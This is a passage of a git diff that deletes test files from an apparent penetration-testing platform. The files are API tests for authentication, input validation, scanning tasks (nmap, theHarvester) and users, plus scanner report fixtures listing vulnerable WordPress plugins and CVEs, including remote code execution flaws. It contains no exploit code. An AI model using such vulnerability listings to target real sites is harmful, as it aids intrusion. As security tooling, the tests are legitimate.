redoc, swagger -from security.input_validation import (validate_name, validate_number, - validate_text, validate_time_amount) -from security.passwords import PasswordComplexityValidator -from testing.api.base import RekonoApiTestCase - - -class SecurityTest(RekonoApiTestCase): - '''Test cases for Security module.''' - - def setUp(self) -> None: - '''Create initial data before run tests.''' - super().setUp() - # Mapping between endpoints and CSP headersa - self.csp_mapping = [('/admin/', admin), ('/api/schema/swagger-ui.html', swagger), ('/api/schema/redoc/', redoc)] - # Data for testing - self.invalid_passwords = [ - 'ABCDEF123456.', # Lower case required - 'abcdef123456.', # Upper case required - 'ABCDEFabcdef.', # Digits required - 'ABCDEFabcdef1', # Symbols required - ] - self.input_validation_data = [ - ('invalid#name#', validate_name, False), - ('validname', validate_name, True), - ('invalid;text;', validate_text, False), - ('valid#text#', validate_text, True), - (0, validate_number, False), - (1000000, validate_number, False), - (1, validate_number, True), - (999999, validate_number, True), - (0, validate_time_amount, False), - (1001, validate_time_amount, False), - (1, validate_time_amount, True), - (1000, validate_time_amount, True), - ] - - def test_logout(self) -> None: - '''Test logout feature.''' - self.api_test(self.client.post, '/api/logout/', data={'refresh_token': self.refresh}) # Logout - # Try to refresh access token - self.api_test(self.client.post, '/api/token/refresh/', 401, data={'refresh': self.refresh}) - - def test_invalid_logout(self) -> None: - '''Test logout feature with invalid data.''' - self.api_test(self.client.post, '/api/logout/', 400) # Refresh token is required - - def test_csp_header_selection(self) -> None: - '''Test CSP header value by endpoint.''' - for endpoint, csp in self.csp_mapping: - response = self.unauthn_client.get(endpoint) # Request to endpoint - self.assertEqual(csp, response.headers['Content-Security-Policy']) # Check CSP in the response headers - - def test_invalid_password_policy(self) -> None: - '''Test password policy.''' - validator = PasswordComplexityValidator() # Password validator - self.assertEqual(validator.message, validator.get_help_text()) - for password in self.invalid_passwords: - invalid_password = False - try: - validator.validate(password) # Password validation - except ValidationError: - invalid_password = True - self.assertTrue(invalid_password) # Check invalid password - - def test_input_validation(self) -> None: - '''Test input validation countermeasure.''' - for value, validator, expected in self.input_validation_data: - valid = True - try: - cast(Callable, validator)(value) # Input validation - except ValidationError: - valid = False - self.assertEqual(expected, valid) # Check expected conclusion diff --git a/src/backend/testing/api/test_system.py b/src/backend/testing/api/test_system.py deleted file mode 100644 index 7851b8502..000000000 --- a/src/backend/testing/api/test_system.py +++ /dev/null @@ -1,44 +0,0 @@ -from testing.api.base import RekonoApiTestCase - - -class SystemTestCase(RekonoApiTestCase): - '''Test cases for System module.''' - - def setUp(self) -> None: - '''Create initial data before run tests.''' - super().setUp() - self.endpoint = '/api/system/1/' # System API endpoint - self.system_data = { # Current system data - 'id': self.system.id, - 'upload_files_max_mb': self.system.upload_files_max_mb, - 'telegram_bot_token': self.system.telegram_bot_token, - 'defect_dojo_url': self.system.defect_dojo_url, - 'defect_dojo_api_key': self.system.defect_dojo_api_key, - 'defect_dojo_verify_tls': self.system.defect_dojo_verify_tls, - 'defect_dojo_tag': self.system.defect_dojo_tag, - 'defect_dojo_product_type': self.system.defect_dojo_product_type, - 'defect_dojo_test_type': self.system.defect_dojo_test_type, - 'defect_dojo_test': self.system.defect_dojo_test - } - - def test_get_system(self) -> None: - '''Test get system feature.''' - self.api_test(self.client.get, self.endpoint, expected=self.system_data) # Get system config - - def test_update_system(self) -> None: - '''Test update system feature.''' - new_system = self.system_data.copy() - new_system['upload_files_max_mb'] = 128 # New max size for uploaded files - new_system['telegram_bot_token'] = '1111111111:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' # New Telegram token - expected = new_system.copy() - # Expected obfuscated Telegram token - expected['telegram_bot_token'] = '**********************************************' - new_system.pop('id') # Remove some fields from the new data - new_system.pop('defect_dojo_api_key') - self.api_test(self.client.put, self.endpoint, data=new_system, expected=expected) # Update system config - - def test_invalid_update_system(self) -> None: - '''Test update system feature with invalid data.''' - new_system = self.system_data.copy() - new_system['telegram_bot_token'] = 'invalidtelegramtoken' # Invalid Telegram token - self.api_test(self.client.put, self.endpoint, 400, data=new_system) # Try to update system config diff --git a/src/backend/testing/api/test_targets.py b/src/backend/testing/api/test_targets.py deleted file mode 100644 index 4e256a085..000000000 --- a/src/backend/testing/api/test_targets.py +++ /dev/null @@ -1,81 +0,0 @@ -from testing.api.base import RekonoApiTestCase - - -class TargetsTest(RekonoApiTestCase): - '''Test cases for Target entity from Targets module.''' - - def setUp(self) -> None: - '''Create initial data before run tests.''' - self.endpoint = '/api/targets/' # Targets API endpoint - super().setUp() - super().initialize_environment() # Initialize testing environment - # Data for testing - self.used_data = {'target': self.target.target, 'project': self.project.id} - self.targets_data = [ - ('10.10.10.1', 'Private IP'), # Private IP - ('1.1.1.1', 'Public IP'), # Public IP - ('10.10.10.0/24', 'Network'), # Network - ('10.10.10.1-20', 'IP range'), # IP range - ('nmap.org', 'Domain') # Domain - ] - self.models = {self.target: self.target.target} # Models to test __str__ method - - def test_create(self) -> None: - '''Test target creation feature with different target types.''' - data = {'project': self.project.id} - for target, type in self.targets_data: - data['target'] = target - expected = data - expected['type'] = type - self.api_test(self.client.post, self.endpoint, 201, data=data, expected=expected) # Create target - - def test_unauthorized_create(self) -> None: - '''Test target creation feature with user that doesn't belong to related project.''' - self.used_data['target'] = '10.10.10.2' - self.api_test(self.other_client.post, self.endpoint, 403, data=self.used_data) # User is not a project member - - def test_invalid_create(self) -> None: - '''Test target creation feature with invalid data.''' - self.api_test(self.client.post, self.endpoint, 400, data=self.used_data) # Target already exists - self.used_data['target'] = 'invalid' - self.api_test(self.client.post, self.endpoint, 400, data=self.used_data) # Invalid target - self.used_data['target'] = '127.0.0.1' - self.api_test(self.client.post, self.endpoint, 400, data=self.used_data) # Invalid internal target - - def test_delete(self) -> None: - '''Test target deletion feature.''' - self.api_test(self.client.delete, f'{self.endpoint}{self.target.id}/', 204) # Delete target - self.api_test(self.client.get, f'{self.endpoint}{self.target.id}/', 404) # Check target not found - - -class TargetPortsTest(RekonoApiTestCase): - '''Test cases for Target Port entity from Targets module.''' - - def setUp(self) -> None: - '''Create initial data before run tests.''' - self.endpoint = '/api/target-ports/' # Target Ports API endpoint - super().setUp() - super().initialize_environment() # Initialize testing environment - # Data for testing - self.used_data = {'target': self.target.id, 'port': self.target_port.port} - self.models = { # Models to test __str__ method - self.target_port: f'{self.target.target} - {self.target_port.port}' - } - - def test_create(self) -> None: - '''Test target port creation feature.''' - self.used_data['port'] = 8080 - # Create new target port - content = self.api_test(self.client.post, self.endpoint, 201, data=self.used_data, expected=self.used_data) - self.api_test(self.client.get, f'{self.endpoint}{content["id"]}/', expected=self.used_data) - - def test_invalid_create(self) -> None: - '''Test target port creation feature with invalid data.''' - self.api_test(self.client.post, self.endpoint, 400, data=self.used_data) # Target port already exists - self.used_data['port'] = 0 - self.api_test(self.client.post, self.endpoint, 400, data=self.used_data) # Invalid port number - - def test_delete(self) -> None: - '''Test target port deletion feature.''' - self.api_test(self.client.delete, f'{self.endpoint}{self.target_port.id}/', 204) # Delete target port - self.api_test(self.client.get, f'{self.endpoint}{self.target_port.id}/', 404) diff --git a/src/backend/testing/api/test_tasks.py b/src/backend/testing/api/test_tasks.py deleted file mode 100644 index 27bc7e88f..000000000 --- a/src/backend/testing/api/test_tasks.py +++ /dev/null @@ -1,150 +0,0 @@ -from datetime import datetime, timedelta - -from executions.models import Execution -from processes.models import Step -from tasks.enums import Status, TimeUnit -from tasks.models import Task -from testing.api.base import RekonoApiTestCase -from tools.models import Configuration, Tool - - -class TasksTest(RekonoApiTestCase): - '''Test cases for Tasks module.''' - - def setUp(self) -> None: - '''Create initial data before run tests.''' - self.endpoint = '/api/tasks/' - super().setUp() - super().initialize_environment() # Initialize testing environment - self.harvester = Tool.objects.get(name='theHarvester') - self.harvester_config = Configuration.objects.get(tool=self.harvester, default=True) - self.harvester_step = Step.objects.create( - process=self.process, tool=self.harvester, configuration=self.harvester_config, priority=1 - ) - self.running_task = Task.objects.create(target=self.target, process=self.process, status=Status.RUNNING) - Execution.objects.create( - task=self.running_task, - tool=self.harvester, - configuration=self.harvester_config, - status=Status.RUNNING - ) - Execution.objects.create( - task=self.running_task, - tool=self.step.tool, - configuration=self.step.configuration, - status=Status.REQUESTED - ) - # Data for testing - self.tool_data = {'target_id': self.target.id, 'tool_id': self.nmap.id} - self.process_data = {'target_id': self.target.id, 'process_id': self.process.id} - self.expected_data = {'intensity_rank': 'Normal', 'status': Status.REQUESTED} - self.models = { # Models to test __str__ method - self.task: ( - f'{self.project.name} - {self.target.target} - {self.nmap.name} - {self.nmap_configuration.name}' - ), - self.running_task: f'{self.project.name} - {self.target.target} - {self.process.name}', - } - - def run_task_and_check_status(self, task_id: int, expected_status: str = Status.COMPLETED) -> None: - '''Run task (launch RQ worker for testing) and check that the task has been completed.''' - self.launch_rq_worker() - self.expected_data['status'] = expected_status - self.api_test(self.client.get, f'{self.endpoint}{task_id}/', 200, expected=self.expected_data) - - def test_create_with_tool(self) -> None: - '''Test creation feature with tool task.''' - # Create task - content = self.api_test(self.client.post, self.endpoint, 201, data=self.tool_data, expected=self.expected_data) - self.check_fields(['id', 'target'], content['target'], self.target) - self.check_fields(['id', 'name'], content['tool'], self.nmap) - self.check_fields(['id', 'name'], content['configuration'], self.nmap_configuration) - self.run_task_and_check_status(content['id']) - - def test_create_with_process(self) -> None: - '''Test creation feature with process task.''' - # Create task - content = self.api_test( - self.client.post, self.endpoint, 201, data=self.process_data, expected=self.expected_data - ) - self.check_fields(['id', 'target'], content['target'], self.target) - self.check_fields(['id', 'name'], content['process'], self.process) - self.run_task_and_check_status(content['id']) - - def test_create_with_scheduled_at(self) -> None: - '''Test creation feature with scheduled date.''' - self.tool_data['scheduled_at'] = (datetime.now() + timedelta(minutes=1)).isoformat() - # Create scheduled task - content = self.api_test(self.client.post, self.endpoint, 201, data=self.tool_data, expected=self.expected_data) - self.run_task_and_check_status(content['id'], Status.REQUESTED) - - def test_create_with_scheduled_in(self) -> None: - '''Test creation feature with scheduled delay.''' - self.tool_data['scheduled_in'] = 1 - self.tool_data['scheduled_time_unit'] = TimeUnit.MINUTES - # Create scheduled task - content = self.api_test(self.client.post, self.endpoint, 201, data=self.tool_data, expected=self.expected_data) - self.run_task_and_check_status(content['id'], Status.REQUESTED) - - def test_create_with_repeat_in_and_cancellation(self) -> None: - '''Test creation feature with repeat configuration.''' - self.tool_data['repeat_in'] = 2 - self.tool_data['repeat_time_unit'] = TimeUnit.MINUTES - # Create task with repeat configuration - content = self.api_test(self.client.post, self.endpoint, 201, data=self.tool_data, expected=self.expected_data) - self.run_task_and_check_status(content['id']) - self.api_test(self.client.delete, f'{self.endpoint}{content["id"]}/', 204) # Cancel loop task - - def test_create_without_scheduled_time_unit(self) -> None: - '''Test creation feature with scheduled_in option but without time unit.''' - self.tool_data['scheduled_in'] = 5 - # Create task. Schedule configuration will be ignored - self.api_test(self.client.post, self.endpoint, 201, data=self.tool_data, expected=self.expected_data) - - def test_invalid_create_without_process_and_tool(self) -> None: - '''Test creation feature without process or tool.''' - self.process_data.pop('process_id') - # Process or Tool are required - self.api_test(self.client.post, self.endpoint, 400, data=self.process_data) - - def test_invalid_create_with_invalid_intensity(self) -> None: - '''Test creation feature with invalid intensity.''' - self.tool_data['tool_id'] = self.harvester.id - self.tool_data['intensity_rank'] = 'Insane' # theHarvester has no Insane intensity - self.api_test(self.client.post, self.endpoint, 400, data=self.tool_data) - - def test_invalid_create_with_invalid_schedule_date(self) -> None: - '''Test creation feature with past scheduled date.''' - self.process_data['scheduled_at'] = '2000-01-01T01:00:00.000Z' - # Scheduled configuration should be future - self.api_test(self.client.post, self.endpoint, 400, data=self.process_data) - - def test_unauthorized_create(self) -> None: - '''Test creation feature with unauthorized user.''' - # User is not a project member - self.api_test(self.other_client.post, self.endpoint, 403, data=self.tool_data) - - def test_cancel(self) -> None: - '''Test cancellation feature.''' - self.api_test(self.client.delete, f'{self.endpoint}{self.running_task.id}/', 204) - self.expected_data['status'] = 'Cancelled' - self.api_test(self.client.get, f'{self.endpoint}{self.running_task.id}/', expected=self.expected_data) - - def test_invalid_cancel(self) -> None: - '''Test cancellation feature in completed task.''' - # It's not possible to cancel a completed task - self.api_test(self.client.delete, f'{self.endpoint}{self.task.id}/', 400) - - def test_repeat(self) -> None: - '''Test repeat task feature.''' - # Repeat completed task - content = self.api_test( - self.client.post, f'{self.endpoint}{self.task.id}/repeat/', 201, expected=self.expected_data - ) - self.check_fields(['id', 'target'], content['target'], self.target) - self.check_fields(['id', 'name'], content['tool'], self.nmap) - self.check_fields(['id', 'name'], content['configuration'], self.nmap_configuration) - - def test_invalid_repeat(self) -> None: - '''Test repeat task feature with running task.''' - # It's not possible to repeat a running task - self.api_test(self.client.post, f'{self.endpoint}{self.running_task.id}/repeat/', 400) diff --git a/src/backend/testing/api/test_tools.py b/src/backend/testing/api/test_tools.py deleted file mode 100644 index 6ab959979..000000000 --- a/src/backend/testing/api/test_tools.py +++ /dev/null @@ -1,57 +0,0 @@ -from testing.api.base import RekonoApiTestCase -from tools.enums import IntensityRank -from tools.models import Argument, Input, Intensity, Output - - -class ToolsTest(RekonoApiTestCase): - '''Test cases for Tools module.''' - - def setUp(self) -> None: - '''Create initial data before run tests.''' - self.tools = '/api/tools/' # Tools API endpoints - self.configurations = '/api/configurations/' - super().setUp() - super().initialize_environment() # Initialize testing environment - # Data for testing - self.stages = [(1, 'OSINT'), (2, 'Enumeration'), (3, 'Vulnerabilities'), (4, 'Services'), (5, 'Exploitation')] - self.intensity = Intensity.objects.filter(tool=self.nmap).first() - self.argument = Argument.objects.filter(tool=self.nmap).first() - self.input = Input.objects.filter(argument=self.argument).first() - self.output = Output.objects.filter(configuration=self.nmap_configuration).first() - self.models = { # Models to test __str__ method - self.nmap: self.nmap.name, - self.nmap_configuration: f'{self.nmap.name} - {self.nmap_configuration.name}', - self.intensity: f'{self.nmap.name} - {IntensityRank(self.intensity.value).name}', - self.argument: f'{self.nmap.__str__()} - {self.argument.name}', - self.input: f'{self.argument.__str__()} - {self.input.type.__str__()}', - self.output: f'{self.nmap_configuration.__str__()} - {self.output.type.__str__()}', - } - - def test_get_tools_and_configurations(self) -> None: - '''Test read tool and configuration data.''' - for stage_value, stage_name in self.stages: - # Get tools by stage - tools = self.api_test(self.client.get, f'{self.tools}?configurations__stage={stage_value}&limit=100') - for tool in tools['results']: - # Get configurations by tool - configs = self.api_test( - self.client.get, f'{self.configurations}?tool={tool.get("id")}&stage={stage_value}&limit=100' - ) - for config in configs['results']: - self.assertEqual(tool.get('id'), config.get('tool')) - self.assertEqual(stage_name, config.get('stage_name')) - - def test_like_dislike(self) -> None: - '''Test like and dislike features for tools.''' - no_likes = {'liked': False, 'likes': 0} - tools = self.api_test(self.client.get, f'{self.tools}?limit=100', 200) - for tool in tools['results']: - self.check_fields(['liked', 'likes'], tool, no_likes) - self.api_test(self.client.post, f'{self.tools}{tool["id"]}/like/', 201) # Like tool - self.api_test(self.client.get, f'{self.tools}{tool["id"]}/', expected={'liked': True, 'likes': 1}) - self.api_test(self.client.get, f'{self.tools}?liked=true', expected={'count': 1}) - self.api_test(self.client.get, f'{self.tools}?liked=false', expected={'count': tools['count'] - 1}) - self.api_test(self.client.post, f'{self.tools}{tool["id"]}/dislike/', 204) # Dislike tool - self.api_test(self.client.get, f'{self.tools}{tool["id"]}/', expected=no_likes) - self.api_test(self.client.get, f'{self.tools}?liked=true', expected={'count': 0}) - self.api_test(self.client.get, f'{self.tools}?liked=false', expected={'count': tools['count']}) diff --git a/src/backend/testing/api/test_users.py b/src/backend/testing/api/test_users.py deleted file mode 100644 index 6e7a22e23..000000000 --- a/src/backend/testing/api/test_users.py +++ /dev/null @@ -1,225 +0,0 @@ -from typing import Dict - -from security.otp import generate -from telegram_bot.models import TelegramChat -from testing.api.base import RekonoApiTestCase -from users.models import User - - -class UsersTest(RekonoApiTestCase): - '''Test cases for Users module.''' - - def setUp(self) -> None: - '''Create initial data before run tests.''' - self.endpoint = '/api/users/' # Users API endpoints - self.profile = '/api/profile/' - self.reset_password = '/api/reset-password/' - super().setUp() - super().initialize_environment() # Initialize testing environment - self.valid_password = 'VERYcomplexP4$W0RD' # Data for testing - self.invite_data = {'email': 'newrekono@rekono.rekono', 'role': 'Auditor'} - self.create_data = { - 'username': 'newrekono', - 'password': self.valid_password, - 'first_name': 'new', - 'last_name': 'rekono', - 'otp': 'invalid' - } - self.profile_data = { - 'first_name': 'rekono', - 'last_name': 'rekono', - 'notification_scope': 'All executions', - 'email_notification': False - } - self.password_data = {'old_password': self.credential, 'password': self.valid_password} - self.models = { # Models to test __str__ method - self.admin: self.email, - self.other: self.other_email - } - - def invite(self, data: Dict[str, str], status_code: int = 201) -> None: - '''Invite user and check response. - - Args: - data (Dict[str, str]): User data - status_code (int, optional): Expected HTTP status code. Defaults to 201. - ''' - expected = {'email': data['email'], 'role': data['role'], 'is_active': None} - if status_code == 201: - # Invite new user. Expected successfull request - self.api_test(self.client.post, f'{self.endpoint}invite/', status_code, data=data, expected=expected) - else: - self.api_test(self.client.post, f'{self.endpoint}invite/', status_code, data=data) # Try to invite user - - def test_invite(self) -> None: - '''Test invitation feature.''' - self.api_test(self.client.get, self.endpoint, expected={'count': 2}) # Get all users - self.invite(self.invite_data) # Invite new user - self.api_test(self.client.get, self.endpoint, expected={'count': 3}) # Get all users. New user found - - def test_invalid_invite(self) -> None: - '''Test invitation feature with invalid data.''' - self.invite({'email': self.email, 'role': 'Reader'}, 400) # Email already exists - - def test_create(self) -> None: - '''Test creation feature.''' - self.invite(self.invite_data) # Invite new user - new_user = User.objects.get(email=self.invite_data['email']) - self.create_data['otp'] = new_user.otp # Use OTP - # Create new user - self.api_test(self.unauthn_client.post, f'{self.endpoint}create/', 201, data=self.create_data) - expected = { - 'email': self.invite_data['email'], - 'role': self.invite_data['role'], - 'username': self.create_data['username'], - 'first_name': self.create_data['first_name'], - 'last_name': self.create_data['last_name'], - 'is_active': True - } - self.api_test(self.client.get, f'{self.endpoint}{new_user.id}/', expected=expected) # Check created user - self.api_test(self.unauthn_client.post, f'{self.endpoint}create/', 401, data=self.create_data) # Expired OTP - self.api_test(self.client.delete, f'{self.endpoint}{new_user.id}/', 204) # Disable new user - - def test_invalid_create(self) -> None: - '''Test creation feature with invalid data.''' - self.invite(self.invite_data) # Invite new user - new_user = User.objects.get(email=self.invite_data['email']) - self.create_data['otp'] = new_user.otp # Use OTP - self.create_data['username'] = self.credential - # Username already exists - self.api_test(self.unauthn_client.post, f'{self.endpoint}create/', 400, data=self.create_data) - self.create_data['password'] = 'invalid' - # Invalid password - self.api_test(self.unauthn_client.post, f'{self.endpoint}create/', 400, data=self.create_data) - - def test_unauthorized_create(self) -> None: - '''Test creation feature with invalid OTP.''' - self.api_test(self.unauthn_client.post, f'{self.endpoint}create/', 401, data=self.create_data) # Invalid OTP - - def test_filter_by_role(self) -> None: - '''Test filter feature by role.''' - # Get Admin users - content = self.api_test(self.client.get, f'{self.endpoint}?role=Admin', expected={'count': 2}) - self.check_fields(['id', 'username', 'email'], content['results'][0], self.other) - self.check_fields(['id', 'username', 'email'], content['results'][1], self.admin) - - def test_filter_by_project(self) -> None: - '''Test filter feature by project.''' - # Get users that belong to created project - content = self.api_test( - self.client.get, f'{self.endpoint}?project={self.project.id}&order=-username', expected={'count': 1} - ) - self.check_fields(['id', 'username', 'email'], content['results'][0], self.admin) - # Get users that don't belong to created project - content = self.api_test( - self.client.get, f'{self.endpoint}?project__ne={self.project.id}&order=-username', expected={'count': 1} - ) - self.check_fields(['id', 'username', 'email'], content['results'][0], self.other) - - def test_filter_by_project_not_found(self) -> None: - '''Test filter feature by not found project.''' - # Get users that belong to unexisting project: No users - self.api_test(self.client.get, f'{self.endpoint}?project=-1&order=-username', expected={'count': 0}) - # Get users that don't belong to unexisting project: All users - self.api_test(self.client.get, f'{self.endpoint}?project__ne=-1&order=-username', expected={'count': 2}) - - def test_change_role(self) -> None: - '''Test change role feature.''' - data = {'role': 'Auditor'} - # Change testing user role to Auditor - self.api_test(self.client.put, f'{self.endpoint}{self.other.id}/role/', data=data, expected=data) - self.api_test(self.client.get, f'{self.endpoint}{self.other.id}/', expected=data) # Check user role - - def test_invalid_change_role(self) -> None: - '''Test change role feature with invalid data.''' - # Change testing user role to invalid role - self.api_test(self.client.put, f'{self.endpoint}{self.other.id}/role/', 400, data={'role': 'Invalid'}) - - def test_enable_disable(self) -> None: - '''Test enable and disable features.''' - self.api_test(self.client.delete, f'{self.endpoint}{self.other.id}/', 204) # Disable testing user - self.api_test(self.client.get, f'{self.endpoint}{self.other.id}/', expected={'is_active': False}) - # Enable testing user as Admin - self.api_test(self.client.post, f'{self.endpoint}{self.other.id}/enable/') - # Inactive because password should be established - self.api_test(self.client.get, f'{self.endpoint}{self.other.id}/', expected={'is_active': False}) - - def test_disable_without_api_token(self) -> None: - '''Test disable feature with user without API token.''' - user = User.objects.create(email='test@test.test', username='test', is_active=True) - self.api_test(self.client.delete, f'{self.endpoint}{user.id}/', 204) # Disable testing user - self.api_test(self.client.get, f'{self.endpoint}{user.id}/', expected={'is_active': False}) - - def test_profile(self) -> None: - '''Test get profile feature.''' - # Get user profile - self.api_test(self.client.get, self.profile, expected={'email': self.email, 'username': self.credential}) - - def test_update_profile(self) -> None: - '''Test update profile feature.''' - # Update profile - self.api_test(self.client.put, self.profile, data=self.profile_data, expected=self.profile_data) - - def test_invalid_update_profile(self) -> None: - '''Test update profile feature with invalid data.''' - self.profile_data['notification_scope'] = 'Invalid' # Invalid notification scope - self.api_test(self.client.put, self.profile, 400, data=self.profile_data) - - def test_change_password(self) -> None: - '''Test change password feature.''' - self.api_test(self.client.put, f'{self.profile}change-password/', data=self.password_data) # Change password - self.login(self.credential, self.valid_password) # Test login with new password - - def test_unauthorized_change_password(self) -> None: - '''Test change password feature with invalid old password.''' - self.password_data['old_password'] = 'invalid' # Invalid old password - self.api_test(self.client.put, f'{self.profile}change-password/', 401, data=self.password_data) - - def test_invalid_change_password(self) -> None: - '''Test change password feature with invalid data.''' - self.password_data['password'] = 'invalid' # Invalid new password - self.api_test(self.client.put, f'{self.profile}change-password/', 400, data=self.password_data) - - def test_reset_password(self) -> None: - '''Test reset password features.''' - self.api_test(self.client.post, self.reset_password, data={'email': self.email}) # Request password reset - current_user = User.objects.get(email=self.email) - data = {'otp': current_user.otp, 'password': self.valid_password} # Use OTP - self.api_test(self.client.put, self.reset_password, data=data) # Reset password - self.login(self.credential, self.valid_password) # Test login with new password - - def test_unauthorized_reset_password(self) -> None: - '''Test reset password feature with invalid OTP.''' - data = {'otp': 'invalid', 'password': self.valid_password} - self.api_test(self.client.put, self.reset_password, 401, data=data) # Invalid OTP - - def test_invalid_reset_password(self) -> None: - '''Test reset password feature with invalid data.''' - self.api_test(self.client.post, self.reset_password, data={'email': self.email}) # Request password reset - current_user = User.objects.get(email=self.email) - data = {'otp': current_user.otp, 'password': 'invalid'} - self.api_test(self.client.put, self.reset_password, 400, data=data) # Invalid password - - def test_invalid_reset_password_request(self) -> None: - '''Test request password reset feature with invalid data.''' - self.api_test(self.client.post, self.reset_password, 400) # Email is required - - def test_not_found_reset_password_request(self) -> None: - '''Test request password reset feature with unexisting email.''' - # Request password reset for unexisting email. Returns 200 to prevent user enumeration vulnerabilities - self.api_test(self.client.post, self.reset_password, data={'email': 'notfound@notfound.notfound'}) - - def test_telegram_bot(self) -> None: - '''Test Telegram bot feature.''' - telegram_chat = TelegramChat.objects.create(chat_id=1, user=self.admin, otp=generate()) - # Link account to Telegram bot - self.api_test(self.client.post, f'{self.profile}telegram-token/', data={'otp': telegram_chat.otp}) - - def test_invalid_telegram_bot(self) -> None: - '''Test Telegram bot feature with invalid data.''' - self.api_test(self.client.post, f'{self.profile}telegram-token/', 400) # OTP is required - - def test_unauthorized_telegram_bot(self) -> None: - '''Test Telegram bot feature with invalid OTP.''' - # Invalid OTP - self.api_test(self.client.post, f'{self.profile}telegram-token/', 401, data={'otp': 'invalid'}) diff --git a/src/backend/testing/data/reports/cmseek/dvwp.json b/src/backend/testing/data/reports/cmseek/dvwp.json deleted file mode 100644 index 02ca700ad..000000000 --- a/src/backend/testing/data/reports/cmseek/dvwp.json +++ /dev/null @@ -1,13 +0,0 @@ -{ - "cms_id": "wp", - "cms_name": "WordPress", - "cms_url": "https://wordpress.org", - "detection_param": "generator", - "last_scanned": "2022-02-18 17:43:42.398858", - "url": "http://10.10.10.10/", - "wp_license": "http://10.10.10.10//license.txt", - "wp_plugins": "social-warfare Version 3.5.2,wp-file-upload Version 5.3,wp-advanced-search Version 1.0,", - "wp_readme_file": "http://10.10.10.10//readme.html", - "wp_themes": "twentytwenty Version 1.0,", - "wp_version": "5.3" -} \ No newline at end of file diff --git a/src/backend/testing/data/reports/cmseek/joomla.json b/src/backend/testing/data/reports/cmseek/joomla.json deleted file mode 100644 index 6b0635196..000000000 --- a/src/backend/testing/data/reports/cmseek/joomla.json +++ /dev/null @@ -1,18 +0,0 @@ -{ - "cms_id": "joom", - "cms_name": "joomla", - "cms_url": "https://joomla.org", - "detection_param": "header", - "joomla_backup_files": [ - "https://10.10.10.10/demo/2.back", - "https://10.10.10.10/demo/2.save", - "https://10.10.10.10/demo/2.tmp", - "https://10.10.10.10/demo/2.backup", - "https://10.10.10.10/demo/2.txt" - ], - "joomla_debug_mode": "enabled", - "joomla_version": "1.0", - "last_scanned": "2022-02-18 17:02:47.609972", - "url": "https://10.10.10.10/demo", - "vulnerabilities_count": "0" -} \ No newline at end of file diff --git a/src/backend/testing/data/reports/cmseek/vwp.json b/src/backend/testing/data/reports/cmseek/vwp.json deleted file mode 100644 index 00852973a..000000000 --- a/src/backend/testing/data/reports/cmseek/vwp.json +++ /dev/null @@ -1,296 +0,0 @@ -{ - "cms_id": "wp", - "cms_name": "WordPress", - "cms_url": "https://wordpress.org", - "detection_param": "generator", - "last_scanned": "2022-02-18 17:48:14.232005", - "path": "var/www/html/", - "url": "http://10.10.10.10", - "wp_changelog_file": "https://codex.wordpress.org/Version_4.8.3", - "wp_license": "http://10.10.10.10/license.txt", - "wp_plugins": "wp-advanced-search Version 1.0,social-warfare Version 3.5.2,simple-file-list Version 5,wp-file-upload Version 4.8.3,", - "wp_readme_file": "http://10.10.10.10/readme.html", - "wp_themes": "twentyseventeen Version 4.8.3,", - "wp_version": "4.8.3", - "wp_vuln_count": "18", - "wp_vulns": { - "changelog_url": "https://codex.wordpress.org/Version_4.8.3", - "release_date": "2017-10-31", - "version": "4.8.3", - "vulnerabilities": [ - { - "cve": "CVE-2019-16223", - "cvss_score": "3.5", - "cwe_id": "79", - "date": "2019-09-11", - "fixed_in": "N/A", - "name": "WordPress before 5.2.3 allows XSS in post previews by authenticated users.", - "references": [ - "https://wordpress.org/news/2019/09/wordpress-5-2-3-security-and-maintenance-release/" - ], - "type": "Cross Site Scripting" - }, - { - "cve": "CVE-2019-16222", - "cvss_score": "4.3", - "cwe_id": "79", - "date": "2019-09-11", - "fixed_in": "N/A", - "name": "WordPress before 5.2.3 has an issue with URL sanitization in wp_kses_bad_protocol_once in wp-includes/kses.php that can lead to cross-site scripting (XSS) attacks.", - "references": [ - "https://github.com/WordPress/WordPress/commit/30ac67579559fe42251b5a9f887211bf61a8ed68", - "https://wordpress.org/news/2019/09/wordpress-5-2-3-security-and-maintenance-release/", - "https://core.trac.wordpress.org/changeset/45997" - ], - "type": "Cross Site Scripting" - }, - { - "cve": "CVE-2019-16221", - "cvss_score": "4.3", - "cwe_id": "79", - "date": "2019-09-11", - "fixed_in": "N/A", - "name": "WordPress before 5.2.3 allows reflected XSS in the dashboard.", - "references": [ - "https://wordpress.org/news/2019/09/wordpress-5-2-3-security-and-maintenance-release/" - ], - "type": "Cross Site Scripting" - }, - { - "cve": "CVE-2019-16220", - "cvss_score": "5.8", - "cwe_id": "601", - "date": "2019-09-11", - "fixed_in": "N/A", - "name": "In WordPress before 5.2.3, validation and sanitization of a URL in wp_validate_redirect in wp-includes/pluggable.php could lead to an open redirect.", - "references": [ - "https://core.trac.wordpress.org/changeset/45971", - "https://github.com/WordPress/WordPress/commit/c86ee39ff4c1a79b93c967eb88522f5c09614a28", - "https://wordpress.org/news/2019/09/wordpress-5-2-3-security-and-maintenance-release/" - ], - "type": "" - }, - { - "cve": "CVE-2019-16219", - "cvss_score": "4.3", - "cwe_id": "79", - "date": "2019-09-11", - "fixed_in": "N/A", - "name": "WordPress before 5.2.3 allows XSS in shortcode previews.", - "references": [ - "https://fortiguard.com/zeroday/FG-VD-18-165", - "https://wordpress.org/news/2019/09/wordpress-5-2-3-security-and-maintenance-release/" - ], - "type": "Cross Site Scripting" - }, - { - "cve": "CVE-2019-16218", - "cvss_score": "4.3", - "cwe_id": "79", - "date": "2019-09-11", - "fixed_in": "N/A", - "name": "WordPress before 5.2.3 allows XSS in stored comments.", - "references": [ - "https://wordpress.org/news/2019/09/wordpress-5-2-3-security-and-maintenance-release/" - ], - "type": "Cross Site Scripting" - }, - { - "cve": "CVE-2019-16217", - "cvss_score": "4.3", - "cwe_id": "79", - "date": "2019-09-11", - "fixed_in": "N/A", - "name": "WordPress before 5.2.3 allows XSS in media uploads because wp_ajax_upload_attachment is mishandled.", - "references": [ - "https://core.trac.wordpress.org/changeset/45936", - "https://wordpress.org/news/2019/09/wordpress-5-2-3-security-and-maintenance-release/" - ], - "type": "Cross Site Scripting" - }, - { - "cve": "CVE-2019-9787", - "cvss_score": "6.8", - "cwe_id": "352", - "date": "2019-03-14", - "fixed_in": "N/A", - "name": "WordPress before 5.1.1 does not properly filter comment content, leading to Remote Code Execution by unauthenticated users in a default configuration. This occurs because CSRF protection is mishandled, and because Search Engine Optimization of A elements is performed incorrectly, leading to XSS. The XSS results in administrative access, which 